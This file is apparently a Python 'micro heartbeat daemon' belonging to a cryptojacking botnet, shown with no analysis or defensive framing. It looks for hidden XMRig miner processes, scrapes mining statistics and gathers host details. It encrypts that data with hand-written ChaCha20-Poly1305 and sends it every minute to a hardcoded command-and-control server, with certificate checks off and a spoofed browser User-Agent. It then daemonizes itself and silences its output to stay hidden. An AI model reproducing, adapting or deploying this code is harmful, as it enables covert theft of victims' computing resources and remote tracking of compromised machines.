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|
"""Micro heartbeat daemon v3.3 — Pure Python ChaCha20-Poly1305, zero dependency.
Sends all fields expected by the C2 panel (hostname, arch, state, cpu_load, etc).
"""
import os, sys, json, time, hashlib, base64, socket, signal, random, struct, platform
C2_URL = "https://baba-yaga.live"
HB_KEY = "710aa63323d9c2a8ca1bb522aaf7d9e1"
HB_SALT = b"heartbeat_salt_v2"
HB_ITERS = 100000
INTERVAL = 60
XMRIG_CFG = "/dev/shm/.worker.json"
_CC_ROUNDS = 20
_CC_NONCE_SIZE = 12
_CC_TAG_SIZE = 16
_CC_BLOCK_SIZE = 64
def _rotl32(v, n):
return ((v << n) | (v >> (32 - n))) & 0xFFFFFFFF
def _qr(s, a, b, c, d):
s[a] = (s[a] + s[b]) & 0xFFFFFFFF; s[d] ^= s[a]; s[d] = _rotl32(s[d], 16)
s[c] = (s[c] + s[d]) & 0xFFFFFFFF; s[b] ^= s[c]; s[b] = _rotl32(s[b], 12)
s[a] = (s[a] + s[b]) & 0xFFFFFFFF; s[d] ^= s[a]; s[d] = _rotl32(s[d], 8)
s[c] = (s[c] + s[d]) & 0xFFFFFFFF; s[b] ^= s[c]; s[b] = _rotl32(s[b], 7)
def _cc20_block(key, counter, nonce):
s = [0x61707865, 0x3320646E, 0x79622D32, 0x6B206574]
s.extend(struct.unpack("<8I", key))
s.append(counter & 0xFFFFFFFF)
s.extend(struct.unpack("<3I", nonce))
w = list(s)
for _ in range(_CC_ROUNDS // 2):
_qr(w, 0, 4, 8, 12); _qr(w, 1, 5, 9, 13)
_qr(w, 2, 6, 10, 14); _qr(w, 3, 7, 11, 15)
_qr(w, 0, 5, 10, 15); _qr(w, 1, 6, 11, 12)
_qr(w, 2, 7, 8, 13); _qr(w, 3, 4, 9, 14)
return struct.pack("<16I", *[((w[i] + s[i]) & 0xFFFFFFFF) for i in range(16)])
def _cc20_encrypt(key, counter, nonce, plaintext):
out = bytearray()
n = (len(plaintext) + _CC_BLOCK_SIZE - 1) // _CC_BLOCK_SIZE
for j in range(n):
ks = _cc20_block(key, counter + j, nonce)
bs = j * _CC_BLOCK_SIZE
be = min(bs + _CC_BLOCK_SIZE, len(plaintext))
for i, b in enumerate(plaintext[bs:be]):
out.append(b ^ ks[i])
return bytes(out)
def _clamp(r):
return r & 0x0FFFFFFC0FFFFFFC0FFFFFFC0FFFFFFF
def _poly1305_mac(msg, key):
r = _clamp(int.from_bytes(key[:16], "little"))
s = int.from_bytes(key[16:32], "little")
p = (1 << 130) - 5
a = 0
for i in range(0, len(msg), 16):
blk = msg[i:i + 16]
n = int.from_bytes(blk, "little") + (1 << (8 * len(blk)))
a = ((a + n) * r) % p
return ((a + s) & ((1 << 128) - 1)).to_bytes(16, "little")
def _pad16(d):
rem = len(d) % 16
return b"" if rem == 0 else b"\x00" * (16 - rem)
def chacha20_poly1305_encrypt(key, nonce, plaintext, aad=b""):
poly_key = _cc20_block(key, 0, nonce)[:32]
ct = _cc20_encrypt(key, 1, nonce, plaintext)
md = bytearray()
md.extend(aad); md.extend(_pad16(aad))
md.extend(ct); md.extend(_pad16(ct))
md.extend(struct.pack("<Q", len(aad)))
md.extend(struct.pack("<Q", len(ct)))
tag = _poly1305_mac(bytes(md), poly_key)
return nonce + ct + tag
def get_worker_id():
try:
with open(XMRIG_CFG) as f:
cfg = json.load(f)
for pool in cfg.get("pools", []):
wid = pool.get("pass", "")
if wid and wid.startswith("x"):
return wid
except: pass
try:
hostname = socket.gethostname()
try: ip = socket.gethostbyname(hostname)
except: ip = "0.0.0.0"
cid = ""
try:
with open("/proc/self/cgroup") as f:
for line in f:
if "docker" in line or "containerd" in line:
cid = line.strip().split("/")[-1][:12]
break
except: pass
salt = os.environ.get("WORKER_ID_SALT", "d3f4ult_s4lt_ch4ng3")
seed = f"{salt}:{hostname}:{ip}:{cid}"
wh = hashlib.sha256(seed.encode()).hexdigest()[:10]
panel_wid = f"w{wh}"
pool_salt = os.environ.get("POOL_ID_SALT", "p00l_s4lt_ch4ng3")
pool_hash = hashlib.sha256(f"{pool_salt}:{panel_wid}".encode()).hexdigest()[:8]
return f"x{pool_hash}"
except:
return f"x{hashlib.md5(socket.gethostname().encode()).hexdigest()[:8]}"
def get_hostname():
try:
return socket.gethostname()
except:
return "unknown"
def get_arch():
try:
return platform.machine() or "unknown"
except:
return "unknown"
def get_os_platform():
try:
parts = []
try:
with open("/etc/os-release") as f:
for line in f:
if line.startswith("PRETTY_NAME="):
val = line.split("=", 1)[1].strip().strip('"')
return val
except: pass
return f"{platform.system()} {platform.release()}"
except:
return "unknown"
def get_cpu_load():
"""Get 1-min CPU load average as percentage of cores."""
try:
load1 = os.getloadavg()[0]
cores = os.cpu_count() or 1
return round(load1 / cores * 100, 1)
except:
return 0
def get_mem_percent():
"""Get memory usage percentage from /proc/meminfo."""
try:
mem = {}
with open("/proc/meminfo") as f:
for line in f:
parts = line.split()
if len(parts) >= 2:
key = parts[0].rstrip(":")
mem[key] = int(parts[1])
total = mem.get("MemTotal", 1)
avail = mem.get("MemAvailable", mem.get("MemFree", 0))
return round((1 - avail / total) * 100, 1)
except:
return 0
def get_uptime_system():
"""Get system uptime in seconds from /proc/uptime."""
try:
with open("/proc/uptime") as f:
return int(float(f.read().split()[0]))
except:
return 0
def get_xmrig_api_config():
try:
with open(XMRIG_CFG) as f:
cfg = json.load(f)
http = cfg.get("http", {})
if http.get("enabled"):
return {"host": http.get("host", "127.0.0.1"), "port": http.get("port", 0), "token": http.get("access-token", "")}
except: pass
return None
def scrape_xmrig_api(api_cfg):
result = {"threads": 0, "difficulty": 0, "hashrate": 0}
if not api_cfg or not api_cfg.get("port"):
return result
try:
import urllib.request
url = f"http://{api_cfg['host']}:{api_cfg['port']}/2/summary"
req = urllib.request.Request(url)
if api_cfg.get("token"):
req.add_header("Authorization", f"Bearer {api_cfg['token']}")
resp = urllib.request.urlopen(req, timeout=5)
data = json.loads(resp.read().decode())
result["difficulty"] = data.get("connection", {}).get("diff", 0)
hr = data.get("hashrate", {}).get("total", [])
if hr and isinstance(hr, list) and len(hr) > 0:
result["hashrate"] = hr[0] if hr[0] else (hr[1] if len(hr) > 1 else 0)
result["threads"] = data.get("cpu", {}).get("threads", 0)
if not result["threads"]:
try:
url2 = f"http://{api_cfg['host']}:{api_cfg['port']}/2/backends"
req2 = urllib.request.Request(url2)
if api_cfg.get("token"):
req2.add_header("Authorization", f"Bearer {api_cfg['token']}")
resp2 = urllib.request.urlopen(req2, timeout=5)
backends = json.loads(resp2.read().decode())
for b in backends:
threads = b.get("threads", [])
if threads:
result["threads"] = len(threads)
break
except: pass
except: pass
return result
def get_sysinfo():
info = {"cpu_model": "unknown", "cpu_cores": 0, "ram_total": "unknown", "kernel": "unknown", "docker": False}
try:
with open("/proc/cpuinfo") as f:
for line in f:
if line.startswith("model name"):
info["cpu_model"] = line.split(":", 1)[1].strip()
break
info["cpu_cores"] = os.cpu_count() or 0
except: pass
try:
with open("/proc/meminfo") as f:
for line in f:
if line.startswith("MemTotal"):
kb = int(line.split()[1])
info["ram_total"] = f"{kb // 1024} MB"
break
except: pass
try:
with open("/proc/version") as f:
info["kernel"] = f.read().strip().split()[2]
except: pass
info["docker"] = os.path.exists("/.dockerenv") or os.path.exists("/run/.containerenv")
return info
def derive_key(key_str):
return hashlib.pbkdf2_hmac("sha256", key_str.encode(), HB_SALT, HB_ITERS, dklen=32)
def send_hb(worker_id, payload):
import urllib.request, ssl
dk = derive_key(HB_KEY)
pt = json.dumps(payload).encode()
nonce = os.urandom(12)
ct = chacha20_poly1305_encrypt(dk, nonce, pt)
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
envelope = {"worker_id": worker_id, "data": base64.b64encode(ct).decode(), "v": 2}
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
}
req = urllib.request.Request(
f"{C2_URL}/api/heartbeat",
data=json.dumps(envelope).encode(),
headers=headers,
method="POST"
)
resp = urllib.request.urlopen(req, timeout=15, context=ctx)
return resp.status
def main():
signal.signal(signal.SIGHUP, signal.SIG_IGN)
try:
signal.signal(signal.SIGPIPE, signal.SIG_IGN)
except: pass
worker_id = get_worker_id()
sysinfo = get_sysinfo()
api_cfg = get_xmrig_api_config()
hostname = get_hostname()
arch = get_arch()
os_plat = get_os_platform()
start_ts = int(time.time())
while True:
try:
miner_alive = False
try:
for pid_dir in os.listdir("/proc"):
if not pid_dir.isdigit(): continue
try:
with open(f"/proc/{pid_dir}/cmdline", "rb") as f:
cmdline = f.read().decode(errors="ignore")
if "migration" in cmdline or "xmrig" in cmdline or ".worker.json" in cmdline:
miner_alive = True
break
except: continue
except: pass
if miner_alive:
api_cfg = get_xmrig_api_config()
miner_stats = scrape_xmrig_api(api_cfg)
if miner_alive and not miner_stats.get('hashrate'):
api_cfg = get_xmrig_api_config()
miner_stats = scrape_xmrig_api(api_cfg)
state = "MINING" if miner_alive else "IDLE"
payload = {
"worker_id": worker_id,
"type": "heartbeat",
"ts": int(time.time()),
"hostname": hostname,
"arch": arch,
"os_platform": os_plat,
"state": state,
"hashrate": miner_stats["hashrate"],
"cpu_load": get_cpu_load(),
"mem_percent": get_mem_percent(),
"uptime_system": get_uptime_system(),
"uptime_miner": int(time.time()) - start_ts,
"miner_alive": miner_alive,
"cpu_model": sysinfo["cpu_model"],
"cpu_cores": sysinfo["cpu_cores"],
"ram_total": sysinfo["ram_total"],
"kernel": sysinfo["kernel"],
"docker": sysinfo["docker"],
"threads": miner_stats["threads"],
"difficulty": miner_stats["difficulty"],
"version": "micro-3.3",
}
send_hb(worker_id, payload)
except: pass
time.sleep(INTERVAL * random.uniform(0.8, 1.2))
if __name__ == "__main__":
try:
pid = os.fork()
if pid > 0:
os._exit(0)
os.setsid()
pid = os.fork()
if pid > 0:
os._exit(0)
except OSError:
pass
try:
dn = os.open(os.devnull, os.O_RDWR)
os.dup2(dn, 0); os.dup2(dn, 1); os.dup2(dn, 2)
except: pass
main()
|
